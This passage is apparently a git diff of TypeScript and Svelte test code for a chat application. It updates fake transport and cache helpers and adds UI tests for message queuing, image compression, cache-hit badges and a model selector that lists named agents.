+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect(await cache.load(CONV_ID)).toEqual([]);
+ expect(store.chunks).toEqual([]);
+ expect(store.hasEarlier).toBe(false);
+ } finally {
+ store.dispose();
+ }
+});
diff --git a/src/features/chat/test-helpers.ts b/src/features/chat/test-helpers.ts
index 26c5590..41cfb3b 100644
--- a/src/features/chat/test-helpers.ts
+++ b/src/features/chat/test-helpers.ts
@@ -1,4 +1,8 @@
-import type { ChatQueueMessage, ChatSendMessage } from "@dispatch/transport-contract";
+import type {
+ ChatQueueCancelMessage,
+ ChatQueueMessage,
+ ChatSendMessage,
+} from "@dispatch/transport-contract";
import type { StoredChunk } from "@dispatch/wire";
import type { ConversationCache } from "../conversation-cache";
import type { ChatTransport, HistorySync, HistoryWindow, MetricsSync } from "./ports";
@@ -8,19 +12,25 @@ export interface FakeTransport {
readonly sent: ChatSendMessage[];
/** All `chat.queue` messages sent through the fake transport. */
readonly sentQueue: ChatQueueMessage[];
+ /** All `chat.queue.cancel` messages sent through the fake transport. */
+ readonly sentCancels: ChatQueueCancelMessage[];
readonly impl: ChatTransport;
}
export function createFakeTransport(): FakeTransport {
const sent: ChatSendMessage[] = [];
const sentQueue: ChatQueueMessage[] = [];
+ const sentCancels: ChatQueueCancelMessage[] = [];
return {
sent,
sentQueue,
+ sentCancels,
impl: {
send(msg) {
if (msg.type === "chat.queue") {
sentQueue.push(msg);
+ } else if (msg.type === "chat.queue.cancel") {
+ sentCancels.push(msg);
} else {
sent.push(msg);
}
@@ -33,14 +43,22 @@ export interface FakeHistorySync {
readonly calls: Array<{ conversationId: string; sinceSeq: number; window?: HistoryWindow }>;
/** Set the chunks to return on the next call. */
returnChunks: readonly StoredChunk[];
+ historyEpoch: number;
readonly impl: HistorySync;
}
export function createFakeHistorySync(): FakeHistorySync {
const calls: Array<{ conversationId: string; sinceSeq: number; window?: HistoryWindow }> = [];
let returnChunks: readonly StoredChunk[] = [];
+ let historyEpoch = 0;
return {
calls,
+ get historyEpoch() {
+ return historyEpoch;
+ },
+ set historyEpoch(v: number) {
+ historyEpoch = v;
+ },
get returnChunks() {
return returnChunks;
},
@@ -62,7 +80,7 @@ export function createFakeHistorySync(): FakeHistorySync {
chunks = chunks.slice(-window.limit);
}
const latestSeq = chunks.length > 0 ? Math.max(...chunks.map((c) => c.seq)) : sinceSeq;
- return { chunks, latestSeq };
+ return { chunks, latestSeq, historyEpoch };
},
};
}
@@ -112,13 +130,28 @@ export interface FakeCache {
export function createFakeCache(): FakeCache {
const store = new Map<string, StoredChunk[]>();
+ const epochs = new Map<string, number>();
return {
store,
impl: {
+ async historyEpoch(id) {
+ return epochs.get(id) ?? 0;
+ },
+ async reset(id, epoch) {
+ store.delete(id);
+ epochs.set(id, epoch);
+ },
+ async replace(id, incoming, epoch, expectedEpoch) {
+ if ((epochs.get(id) ?? 0) !== expectedEpoch) return false;
+ store.set(id, [...incoming]);
+ epochs.set(id, epoch);
+ return true;
+ },
async load(conversationId) {
return store.get(conversationId) ?? [];
},
- async commit(conversationId, incoming) {
+ async commit(conversationId, incoming, epoch) {
+ if (epoch !== undefined) epochs.set(conversationId, epoch);
const existing = store.get(conversationId) ?? [];
const seen = new Set(existing.map((c) => c.seq));
const toAppend = incoming.filter((c) => !seen.has(c.seq));
diff --git a/src/features/chat/ui.test.ts b/src/features/chat/ui.test.ts
index 5f8067d..f98fdbb 100644
--- a/src/features/chat/ui.test.ts
+++ b/src/features/chat/ui.test.ts
@@ -3,12 +3,26 @@ import { render, screen, within } from "@testing-library/svelte";
import userEvent from "@testing-library/user-event";
import { describe, expect, it, vi } from "vitest";
import type { RenderedChunk } from "../../core/chunks";
-import type { TurnMetricsEntry } from "../../core/metrics";
+import {
+ type CacheTimerState,
+ initialCacheTimerState,
+ type TurnMetricsEntry,
+} from "../../core/metrics";
+import type { ConvertedJpeg } from "./adapter/image-encode";
+import CacheTimerBadge from "./ui/CacheTimerBadge.svelte";
import ChatView from "./ui/ChatView.svelte";
import Composer from "./ui/Composer.svelte";
import ModelSelector from "./ui/ModelSelector.svelte";
import ReasoningEffortSelector from "./ui/ReasoningEffortSelector.svelte";
+/** Collapsed card bodies render lazily — open every card so its body mounts. */
+async function openAllCollapses(container: HTMLElement): Promise<void> {
+ const boxes = container.querySelectorAll<HTMLInputElement>('.collapse > input[type="checkbox"]');
+ for (const box of boxes) {
+ if (!box.checked) await userEvent.click(box);
+ }
+}
+
describe("ChatView", () => {
it("renders a message's text chunk", () => {
const chunks: RenderedChunk[] = [
@@ -42,6 +56,25 @@ describe("ChatView", () => {
expect(screen.getByText("Hello!")).toBeInTheDocument();
});
+ it("renders local-path Markdown images through the backend image route", () => {
+ const chunks: RenderedChunk[] = [
+ {
+ seq: 1,
+ role: "assistant",
+ chunk: { type: "text", text: "![pic](/home/u/pic.png)" },
+ provisional: false,
+ },
+ ];
+
+ const { container } = render(ChatView, {
+ props: { chunks, apiBaseUrl: "http://localhost:24203", cwd: "/w/foo" },
+ });
+
+ expect(container.querySelector("img")?.getAttribute("src")).toBe(
+ "http://localhost:24203/local-image?path=%2Fhome%2Fu%2Fpic.png",
+ );
+ });
+
it("shows the show-earlier button only when earlier history is unloaded, and pages it in", async () => {
const chunks: RenderedChunk[] = [
{ seq: 26, role: "user", chunk: { type: "text", text: "later" }, provisional: false },
@@ -81,7 +114,7 @@ describe("ChatView", () => {
expect(screen.queryByRole("button", { name: /show earlier/i })).not.toBeInTheDocument();
});
- it("renders tool-call chunks", () => {
+ it("renders tool-call chunks", async () => {
const chunks: RenderedChunk[] = [
{
seq: 1,
@@ -96,16 +129,17 @@ describe("ChatView", () => {
},
];
- render(ChatView, { props: { chunks } });
+ const { container } = render(ChatView, { props: { chunks } });
+ await openAllCollapses(container);
- expect(screen.getByText("read_file")).toBeInTheDocument();
+ expect(screen.getByText("Read file")).toBeInTheDocument();
const pre = screen.getByText((content, element) => {
return element?.tagName === "PRE" && content.includes("/tmp/test.txt");
});
expect(pre).toBeInTheDocument();
});
- it("renders tool-result chunks", () => {
+ it("renders tool-result chunks", async () => {
const chunks: RenderedChunk[] = [
{
seq: 1,
@@ -121,9 +155,10 @@ describe("ChatView", () => {
},
];
- render(ChatView, { props: { chunks } });
+ const { container } = render(ChatView, { props: { chunks } });
+ await openAllCollapses(container);
- expect(screen.getByText("read_file")).toBeInTheDocument();
+ expect(screen.getByText("Read file")).toBeInTheDocument();
expect(screen.getByText("file contents here")).toBeInTheDocument();
});
@@ -199,7 +234,7 @@ describe("ChatView", () => {
expect(log.children).toHaveLength(0);
});
- it("groups batched tool calls (shared stepId) into one DaisyUI list", () => {
+ it("renders parallel tool calls (shared stepId) as separate bubbles", async () => {
const chunks: RenderedChunk[] = [
{
seq: 1,
@@ -241,15 +276,18 @@ describe("ChatView", () => {
];
const { container } = render(ChatView, { props: { chunks } });
+ await openAllCollapses(container);
- // Batched calls render as collapsible cards (one per call), not a list.
+ // Parallel calls render as independent collapsible cards (one per bubble).
const collapses = container.querySelectorAll(".collapse");
expect(collapses).toHaveLength(2);
+ expect(container.querySelectorAll(".chat-bubble")).toHaveLength(2);
+
// Both call names + the available result are shown; the result is absorbed
// (no standalone tool-result card).
- expect(screen.getByText("read_file")).toBeInTheDocument();
- expect(screen.getByText("list_dir")).toBeInTheDocument();
+ expect(screen.getByText("Read file")).toBeInTheDocument();
+ expect(screen.getByText("List dir")).toBeInTheDocument();
expect(screen.getByText("contents-of-a")).toBeInTheDocument();
});
@@ -271,8 +309,7 @@ describe("ChatView", () => {
expect(collapse).not.toHaveClass("collapse-arrow"); // no indicator icon
expect(collapse).not.toHaveClass("collapse-plus");
// Visible bubble, like tool cards.
- expect(collapse).toHaveClass("bg-base-200");
- expect(collapse).toHaveClass("rounded-box");
+ expect(collapse).toHaveClass("inset-well"); // shared recessed panel (app.css)
expect(screen.getByRole("checkbox", { name: "Toggle thoughts" })).toBeInTheDocument();
});
@@ -372,11 +409,39 @@ describe("ChatView", () => {
expect(screen.getByText("Hi")).toBeInTheDocument();
expect(screen.getByText("Hello!")).toBeInTheDocument();
expect(screen.getByText(/step 1/)).toBeInTheDocument();
- expect(screen.getAllByText(/150 tok/)).toHaveLength(2);
- expect(screen.getByText(/turn 1 · 150 tok \(100 in \/ 50 out\)/)).toBeInTheDocument();
+ expect(screen.getByText(/step 1 · 100 in \/ 50 out/)).toBeInTheDocument();
+ expect(screen.getByText(/turn 1 · 50 tok out · 100 in/)).toBeInTheDocument();
expect(screen.getByText(/1\.2s/)).toBeInTheDocument();
});
+ it("renders a per-step cache hit badge coloured by level", () => {
+ const step = {
+ stepId: "t1#0" as StepId,
+ usage: { inputTokens: 1000, outputTokens: 10, cacheReadTokens: 750 },
+ decodeMs: 100,
+ };
+ const chunks: RenderedChunk[] = [
+ { seq: 1, role: "user", chunk: { type: "text", text: "Hi" }, provisional: false },
+ {
+ seq: 2,
+ role: "assistant",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "tc1",
+ toolName: "t",
+ input: {},
+ stepId: step.stepId,
+ },
+ provisional: false,
+ },
+ ];
+ const turnMetrics: TurnMetricsEntry[] = [{ turnId: "t1", steps: [step], total: null }];
+ render(ChatView, { props: { chunks, turnMetrics } });
+ const badge = screen.getByTestId("step-cache-badge");
+ expect(badge).toHaveTextContent("75%");
+ expect(badge).toHaveClass("badge-success");
+ });
+
it("renders cache hit-rate badges (Last turn + Chat Total) coloured by level", () => {
const chunks: RenderedChunk[] = [
{ seq: 1, role: "user", chunk: { type: "text", text: "Hi" }, provisional: false },
@@ -477,11 +542,11 @@ describe("ChatView", () => {
// Both step-metrics and turn-metrics render
expect(screen.getByText(/step 1/)).toBeInTheDocument();
- expect(screen.getByText(/turn 1 · 100 tok/)).toBeInTheDocument();
+ expect(screen.getByText(/turn 1 · 20 tok out/)).toBeInTheDocument();
// They are in separate elements (different rows)
- const stepEl = screen.getByText(/step 1 · 100 tok/).closest("div");
- const turnEl = screen.getByText(/turn 1 · 100 tok/).closest("div");
+ const stepEl = screen.getByText(/step 1 · 80 in \/ 20 out/).closest("div");
+ const turnEl = screen.getByText(/turn 1 · 20 tok out/).closest("div");
expect(stepEl).not.toBe(turnEl);
});
@@ -553,9 +618,9 @@ describe("ChatView", () => {
// Step metrics rendered
expect(screen.getByText(/step 1/)).toBeInTheDocument();
- expect(screen.getAllByText(/15 tok/)).toHaveLength(2);
+ expect(screen.getByText(/step 1 · 10 in \/ 5 out/)).toBeInTheDocument();
// Turn metrics rendered
- expect(screen.getByText(/turn 1 · 15 tok \(10 in \/ 5 out\)/)).toBeInTheDocument();
+ expect(screen.getByText(/turn 1 · 5 tok out · 10 in/)).toBeInTheDocument();
// No "null" or "undefined" in the DOM
expect(screen.queryByText("null")).toBeNull();
expect(screen.queryByText("undefined")).toBeNull();
@@ -601,8 +666,7 @@ describe("ChatView", () => {
render(ChatView, { props: { chunks, turnMetrics } });
// Step metrics should render
- expect(screen.getByText(/step 1/)).toBeInTheDocument();
- expect(screen.getByText(/150 tok/)).toBeInTheDocument();
+ expect(screen.getByText(/step 1 · 100 in \/ 50 out/)).toBeInTheDocument();
// Turn total should NOT render (total is null — turn still in progress)
expect(screen.queryByText(/^turn/)).toBeNull();
@@ -707,7 +771,7 @@ describe("ChatView", () => {
expect(container.querySelector("img")?.getAttribute("src")).toBe(url);
});
- it("renders a consult_vision tool call/result like any other tool", () => {
+ it("renders a consult_vision tool call/result like any other tool", async () => {
// read_image is GONE — replaced by consult_vision (opens a vision-model
// conversation, attaches the image + question, returns the answer). It is
// a normal tool call: rendered generically by toolName.
@@ -737,9 +801,10 @@ describe("ChatView", () => {
},
];
- render(ChatView, { props: { chunks } });
+ const { container } = render(ChatView, { props: { chunks } });
+ await openAllCollapses(container);
- expect(screen.getAllByText("consult_vision").length).toBeGreaterThan(0);
+ expect(screen.getAllByText("Ask vision model").length).toBeGreaterThan(0);
expect(screen.getByText("a red square on a white background")).toBeInTheDocument();
});
@@ -784,6 +849,71 @@ describe("ChatView", () => {
});
describe("Composer", () => {
+ it.each([
+ { status: "idle", queuedMessageCount: 0, text: "", label: "Send" },
+ { status: "running", queuedMessageCount: 0, text: "next", label: "Queue" },
+ { status: "running", queuedMessageCount: 0, text: "", label: "Stop generation" },
+ { status: "running", queuedMessageCount: 1, text: "", label: "Flush" },
+ ] as const)("keeps $label at the same fixed width", async ({ label, text, ...props }) => {
+ const user = userEvent.setup();
+ render(Composer, { props: { ...props, onSend: vi.fn(), onQueue: vi.fn(), onStop: vi.fn() } });
+ if (text) await user.type(screen.getByRole("textbox", { name: "Message input" }), text);
+ const button = screen.getByRole("button", { name: label });
+ expect(button).toHaveClass("w-20", "shrink-0");
+ expect(button).not.toHaveClass("w-36");
+ });
+
+ it.each([
+ "running",
+ "queued",
+ ] as const)("relabels Stop only with queued input while %s and preserves its action", async (status) => {
+ const onStop = vi.fn();
+ const onSend = vi.fn();
+ const onQueue = vi.fn();
+ const user = userEvent.setup();
+ const { rerender } = render(Composer, { props: { onSend, onQueue, onStop, status } });
+ const expectPlainStop = () => {
+ const button = screen.getByRole("button", { name: "Stop generation" });
+ expect(button).toHaveTextContent(/^Stop$/);
+ expect(button).not.toHaveAttribute("title");
+ };
+ expectPlainStop(); // No queue snapshot available.
+ await rerender({ queuedMessageCount: 0 });
+ expectPlainStop();
+ await user.click(screen.getByRole("button", { name: "Stop generation" }));
+ expect(onStop).toHaveBeenCalledTimes(1);
+
+ for (const queuedMessageCount of [1, 2]) {
+ await rerender({ queuedMessageCount });
+ const button = screen.getByRole("button", { name: "Flush" });
+ expect(button).toHaveTextContent(/^Flush$/);
+ expect(button).toHaveAttribute(
+ "title",
+ "Stop the current response and start the queued message now",
+ );
+ }
+ await user.click(screen.getByRole("button", { name: "Flush" }));
+ expect(onStop).toHaveBeenCalledTimes(2);
+ expect(onSend).not.toHaveBeenCalled();
+ expect(onQueue).not.toHaveBeenCalled();
+
+ const input = screen.getByRole("textbox", { name: "Message input" });
+ await user.type(input, "next");
+ expect(screen.getByRole("button", { name: "Queue" })).toBeInTheDocument();
+ expect(screen.queryByRole("button", { name: "Flush" })).toBeNull();
+ await user.click(screen.getByRole("button", { name: "Queue" }));
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("next", undefined);
+ expect(screen.getByRole("button", { name: "Flush" })).toBeInTheDocument();
+ await rerender({ queuedMessageCount: 0 });
+ expectPlainStop(); // Queue drained or cancelled.
+ await rerender({ queuedMessageCount: 1, status: "idle" });
+ expect(screen.getByRole("button", { name: "Send" })).toBeDisabled();
+ await rerender({ status: "error" });
+ expect(screen.getByRole("button", { name: "Send" })).toBeDisabled();
+ await rerender({ status, queuedMessageCount: undefined });
+ expectPlainStop();
+ });
+
it("calls onSend with the typed text and clears", async () => {
const onSend = vi.fn();
const user = userEvent.setup();
@@ -964,17 +1094,28 @@ describe("Composer", () => {
expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
});
- it("queues (steers) text-only and never forwards images", async () => {
- // While running, the Send button becomes "Queue"; steering is text-only.
+ it("still queues text-only with images omitted", async () => {
const onQueue = vi.fn();
const onSend = vi.fn();
const user = userEvent.setup();
- const { container } = render(Composer, { props: { onSend, onQueue, status: "running" } });
+ render(Composer, { props: { onSend, onQueue, status: "running" } });
+ await user.type(screen.getByRole("textbox", { name: "Message input" }), "steer{Enter}");
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("steer", undefined);
+ expect(onSend).not.toHaveBeenCalled();
+ });
+
+ it("queues text and images while running and clears the composer", async () => {
+ const onQueue = vi.fn();
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, {
+ props: { onSend, onQueue, status: "running", encodeJpeg: async () => null },
+ });
const textarea = screen.getByRole("textbox", { name: "Message input" });
await user.type(textarea, "steer here");
- // Also stage an image — it must NOT be forwarded on a queue.
+ // Stage an image along with the steering text.
const file = new File(["PNG"], "shot.png", { type: "image/png" });
const input = container.querySelector('input[type="file"]') as HTMLInputElement;
Object.defineProperty(input, "files", { value: [file], writable: false });
@@ -984,8 +1125,187 @@ describe("Composer", () => {
});
await user.click(screen.getByRole("button", { name: "Queue" }));
- expect(onQueue).toHaveBeenCalledWith("steer here");
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("steer here", [
+ { url: "data:image/png;base64,UE5H", mimeType: "image/png" },
+ ]);
expect(onSend).not.toHaveBeenCalled();
+ expect(textarea).toHaveValue("");
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ });
+
+ it.each(["running", "queued"] as const)("queues images-only while %s", async (status) => {
+ const onQueue = vi.fn();
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, { props: { onSend, onQueue, status } });
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", {
+ value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+ });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await screen.findByRole("button", { name: "Remove image" });
+
+ await user.click(screen.getByRole("button", { name: "Queue" }));
+
+ expect(onQueue).toHaveBeenCalledExactlyOnceWith("", [
+ { url: "data:image/gif;base64,R0lG", mimeType: "image/gif" },
+ ]);
+ expect(onSend).not.toHaveBeenCalled();
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ });
+
+ it.each([
+ "running",
+ "queued",
+ ] as const)("keeps images and text staged while %s without onQueue", async (status) => {
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container, rerender } = render(Composer, { props: { onSend, status } });
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", {
+ value: [new File(["GIF"], "shot.gif", { type: "image/gif" })],
+ });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await screen.findByRole("button", { name: "Remove image" });
+ const textarea = screen.getByRole("textbox", { name: "Message input" });
+ await user.type(textarea, "{Enter}"); // image-only: no queue callback
+ await user.type(textarea, "keep this{Enter}");
+ container
+ .querySelector("form")
+ ?.dispatchEvent(new Event("submit", { bubbles: true, cancelable: true }));
+
+ expect(onSend).not.toHaveBeenCalled();
+ expect(textarea).toHaveValue("keep this");
+ expect(screen.getByRole("button", { name: "Remove image" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Queue" })).toBeDisabled();
+ // Once idle, the same staged input can actually be sent.
+ await rerender({ status: "idle" });
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ expect(onSend).toHaveBeenCalledExactlyOnceWith("keep this", [
+ { url: "data:image/gif;base64,R0lG", mimeType: "image/gif" },
+ ]);
+ expect(screen.queryByRole("button", { name: "Remove image" })).not.toBeInTheDocument();
+ });
+});
+
+describe("Composer image compression", () => {
+ /** Stage a PNG through the file picker and wait for the thumbnail. */
+ async function stagePng(container: HTMLElement, content = "PNGDATA"): Promise<void> {
+ const file = new File([content], "shot.png", { type: "image/png" });
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", { value: [file], writable: false });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await vi.waitFor(() => {
+ expect(screen.getByRole("button", { name: "Remove image" })).toBeInTheDocument();
+ });
+ }
+
+ /** A fake converted JPEG (the outermost-edge stub — no canvas involved). */
+ function fakeJpeg(): ConvertedJpeg {
+ return { blob: new Blob(["SMALLJPEG"], { type: "image/jpeg" }), mimeType: "image/jpeg" };
+ }
+
+ it("shows the compress toggle CHECKED by default for a staged PNG", async () => {
+ const { container } = render(Composer, {
+ props: { onSend: vi.fn(), encodeJpeg: vi.fn(async () => null) },
+ });
+ await stagePng(container);
+
+ const toggle = screen.getByRole("checkbox", { name: "Compress image" });
+ expect(toggle).toBeChecked();
+ });
+
+ it("hides the compress toggle for already-lossy formats (JPEG)", async () => {
+ const { container } = render(Composer, {
+ props: { onSend: vi.fn(), encodeJpeg: vi.fn(async () => null) },
+ });
+ const file = new File(["JPG"], "photo.jpg", { type: "image/jpeg" });
+ const input = container.querySelector('input[type="file"]') as HTMLInputElement;
+ Object.defineProperty(input, "files", { value: [file], writable: false });
+ input.dispatchEvent(new Event("change", { bubbles: true }));
+ await vi.waitFor(() => {
+ expect(screen.getByRole("button", { name: "Remove image" })).toBeInTheDocument();
+ });
+
+ expect(screen.queryByRole("checkbox", { name: "Compress image" })).not.toBeInTheDocument();
+ });
+
+ it("sends the converted JPEG (image/jpeg) when compress is on, encoding exactly once", async () => {
+ const encodeJpeg = vi.fn(async () => fakeJpeg());
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, { props: { onSend, encodeJpeg } });
+ await stagePng(container);
+
+ // The async conversion lands and the staged URL reflects what will be sent.
+ await vi.waitFor(() => {
+ expect(encodeJpeg).toHaveBeenCalledTimes(1);
+ });
+ await vi.waitFor(() => {
+ const thumb = container.querySelector("img[alt='image/jpeg']");
+ expect(thumb).not.toBeNull();
+ expect(thumb?.getAttribute("src")).toMatch(/^data:image\/jpeg;base64,/);
+ });
+
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ expect(onSend).toHaveBeenCalledTimes(1);
+ const [, images] = onSend.mock.calls[0] ?? [];
+ expect(images).toHaveLength(1);
+ expect(images[0]?.mimeType).toBe("image/jpeg");
+ expect(images[0]?.url).toMatch(/^data:image\/jpeg;base64,/);
+ });
+
+ it("sends the ORIGINAL untouched bytes when the toggle is unchecked", async () => {
+ const encodeJpeg = vi.fn(async () => fakeJpeg());
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, { props: { onSend, encodeJpeg } });
+ await stagePng(container);
+ await vi.waitFor(() => expect(encodeJpeg).toHaveBeenCalledTimes(1));
+
+ await user.click(screen.getByRole("checkbox", { name: "Compress image" }));
+ expect(screen.getByRole("checkbox", { name: "Compress image" })).not.toBeChecked();
+
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ expect(onSend).toHaveBeenCalledTimes(1);
+ const [, images] = onSend.mock.calls[0] ?? [];
+ expect(images[0]?.mimeType).toBe("image/png");
+ expect(images[0]?.url).toMatch(/^data:image\/png;base64,/);
+ });
+
+ it("re-checking uses the CACHED conversion — no second encode", async () => {
+ const encodeJpeg = vi.fn(async () => fakeJpeg());
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, { props: { onSend, encodeJpeg } });
+ await stagePng(container);
+ await vi.waitFor(() => expect(encodeJpeg).toHaveBeenCalledTimes(1));
+
+ const toggle = screen.getByRole("checkbox", { name: "Compress image" });
+ await user.click(toggle); // OFF → original
+ await user.click(toggle); // ON again → must reuse the cached JPEG
+
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ expect(encodeJpeg).toHaveBeenCalledTimes(1); // still exactly one encode
+ const [, images] = onSend.mock.calls[0] ?? [];
+ expect(images[0]?.mimeType).toBe("image/jpeg");
+ expect(images[0]?.url).toMatch(/^data:image\/jpeg;base64,/);
+ });
+
+ it("falls back to the original image when conversion fails", async () => {
+ const encodeJpeg = vi.fn(async () => {
+ throw new Error("decode exploded");
+ });
+ const onSend = vi.fn();
+ const user = userEvent.setup();
+ const { container } = render(Composer, { props: { onSend, encodeJpeg } });
+ await stagePng(container);
+ await vi.waitFor(() => expect(encodeJpeg).toHaveBeenCalledTimes(1));
+
+ await user.click(screen.getByRole("button", { name: "Send" }));
+ const [, images] = onSend.mock.calls[0] ?? [];
+ expect(images[0]?.mimeType).toBe("image/png");
+ expect(images[0]?.url).toMatch(/^data:image\/png;base64,/);
});
});
@@ -1006,7 +1326,9 @@ describe("ModelSelector", () => {
expect(keySelect).toHaveValue("anthropic");
expect(modelSelect).toHaveValue("claude-3");
- expect(optionValues(keySelect)).toEqual(["openai", "anthropic", "google"]);
+ // The synthetic "Named Agents" provider is ALWAYS first (plan §6), even with
+ // zero configured agents.
+ expect(optionValues(keySelect)).toEqual(["__named_agents__", "openai", "anthropic", "google"]);
// only the models under the selected key
expect(optionValues(modelSelect)).toEqual(["claude-3"]);
});
@@ -1041,6 +1363,133 @@ describe("ModelSelector", () => {
expect(onSelect).toHaveBeenCalledWith("openai/gpt-4o");
});
+ it("lists Named Agents under the synthetic provider and resolves a selection to a snapshot", async () => {
+ const onSelectNamedAgent = vi.fn();
+ const user = userEvent.setup();
+ const models = ["openai/gpt-4"];
+ const namedAgents = [
+ { id: "a1", name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" },
+ { id: "a2", name: "Research Agent", model: "umans/umans-glm-5.2" },
+ ];
+
+ const { rerender } = render(ModelSelector, {
+ props: {
+ models,
+ selected: "openai/gpt-4",
+ onSelect: vi.fn(),
+ namedAgents,
+ onSelectNamedAgent,
+ },
+ });
+
+ // Switching the provider to "Named Agents" jumps to the first agent (mirrors
+ // a raw provider jumping to its first model).
+ await user.selectOptions(
+ screen.getByRole("combobox", { name: "Key selector" }),
+ "__named_agents__",
+ );
+ expect(onSelectNamedAgent).toHaveBeenCalledWith({
+ namedAgentId: "a1",
+ namedAgentName: "Coding Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ });
+
+ // The parent (store) applies the selection → re-render with the resolved raw
+ // model + snapshot, exactly as `selectModel(model, snapshot)` would do.
+ const codingAgent = namedAgents[0];
+ await rerender({
+ models,
+ selected: codingAgent?.model ?? "",
+ onSelect: vi.fn(),
+ namedAgents,
+ namedAgentSnapshot: {
+ namedAgentId: "a1",
+ namedAgentName: "Coding Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ },
+ onSelectNamedAgent,
+ });
+
+ // The model dropdown now lists the named agents; pick a different one.
+ await user.selectOptions(
+ screen.getByRole("combobox", { name: "Model selector" }),
+ "Research Agent",
+ );
+ expect(onSelectNamedAgent).toHaveBeenLastCalledWith({
+ namedAgentId: "a2",
+ namedAgentName: "Research Agent",
+ model: "umans/umans-glm-5.2",
+ });
+ });
+
+ it("shows a disabled placeholder when the synthetic provider has no configured agents", () => {
+ render(ModelSelector, {
+ props: { models: ["openai/gpt-4"], selected: "openai/gpt-4", onSelect: vi.fn() },
+ });
+ const modelSelect = screen.getByRole("combobox", { name: "Model selector" });
+ const options = within(modelSelect).getAllByRole("option");
+ // With the raw openai provider selected the model dropdown lists gpt-4; the
+ // "No named agents configured" placeholder appears only under the synthetic
+ // provider (which we'd select to see it). Assert the disabled/empty handling
+ // by checking the synthetic provider is present in the key selector.
+ const keySelect = screen.getByRole("combobox", { name: "Key selector" });
+ expect(optionValues(keySelect)).toContain("__named_agents__");
+ // Switch to the (empty) synthetic provider → disabled "No named agents configured".
+ expect(() => screen.getByRole("option", { name: /No named agents configured/ })).toThrow();
+ expect(options).toHaveLength(1);
+ });
+
+ it("keeps showing a snapshot of a renamed/removed Named Agent (unavailable)", () => {
+ // A conversation selected via a Named Agent retains its snapshot even after
+ // the agent is gone from the current list (plan §7).
+ const namedAgentSnapshot = {
+ namedAgentId: "gone",
+ namedAgentName: "Old Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ };
+ render(ModelSelector, {
+ props: {
+ models: [],
+ selected: "opencode-1/claude-sonnet-4.5",
+ onSelect: vi.fn(),
+ namedAgents: [],
+ namedAgentSnapshot,
+ },
+ });
+
+ const keySelect = screen.getByRole("combobox", { name: "Key selector" });
+ expect(keySelect).toHaveValue("__named_agents__");
+ const modelSelect = screen.getByRole("combobox", { name: "Model selector" });
+ expect(modelSelect).toHaveValue("Old Agent");
+ expect(screen.getByRole("option", { name: /Old Agent.*unavailable/ })).toBeInTheDocument();
+ });
+
+ it("selecting a raw model from a Named Agent conversation clears the snapshot via onSelect", async () => {
+ const onSelect = vi.fn();
+ const onSelectNamedAgent = vi.fn();
+ const user = userEvent.setup();
+ const namedAgentSnapshot = {
+ namedAgentId: "a1",
+ namedAgentName: "Coding Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ };
+ render(ModelSelector, {
+ props: {
+ models: ["openai/gpt-4"],
+ selected: "opencode-1/claude-sonnet-4.5",
+ onSelect,
+ namedAgents: [{ id: "a1", name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" }],
+ namedAgentSnapshot,
+ onSelectNamedAgent,
+ },
+ });
+
+ // Switch from Named Agents to a raw provider → raw model selection clears the snapshot.
+ await user.selectOptions(screen.getByRole("combobox", { name: "Key selector" }), "openai");
+ expect(onSelect).toHaveBeenCalledWith("openai/gpt-4");
+ expect(onSelectNamedAgent).not.toHaveBeenCalled();
+ });
+
it("marks vision-capable models in the model dropdown", () => {
const models = ["kimi/k2", "kimi/k1.5"];
const modelInfo = {
@@ -1089,33 +1538,95 @@ describe("ModelSelector", () => {
});
expect(screen.getByText(/auto-described/i)).toBeInTheDocument();
});
+
+ it("labels numbered OpenCode keys as OpenCode #N and sorts them numerically", () => {
+ const models = ["opencode-10/m1", "opencode-2/m2", "opencode-1/m3"];
+ const onSelect = vi.fn();
+ render(ModelSelector, {
+ props: { models, selected: "opencode-2/m2", onSelect },
+ });
+
+ const keySelect = screen.getByRole("combobox", { name: "Key selector" });
+ const options = within(keySelect).getAllByRole("option");
+ // Numeric order: #1 < #2 < #10 (after the always-first synthetic provider),
+ // and values stay RAW (opencode-N).
+ expect(options.map((o) => (o as HTMLOptionElement).value)).toEqual([
+ "__named_agents__",
+ "opencode-1",
+ "opencode-2",
+ "opencode-10",
+ ]);
+ expect(options[1]?.textContent).toContain("OpenCode #1");
+ expect(options[2]?.textContent).toContain("OpenCode #2");
+ expect(options[3]?.textContent).toContain("OpenCode #10");
+ });
+
+ it("shows a disappeared saved credential as unavailable without silently falling back", () => {
+ // Saved selection references opencode-5, but the catalog no longer has it.
+ const models = ["opencode-1/deepseek-v4-flash"];
+ const onSelect = vi.fn();
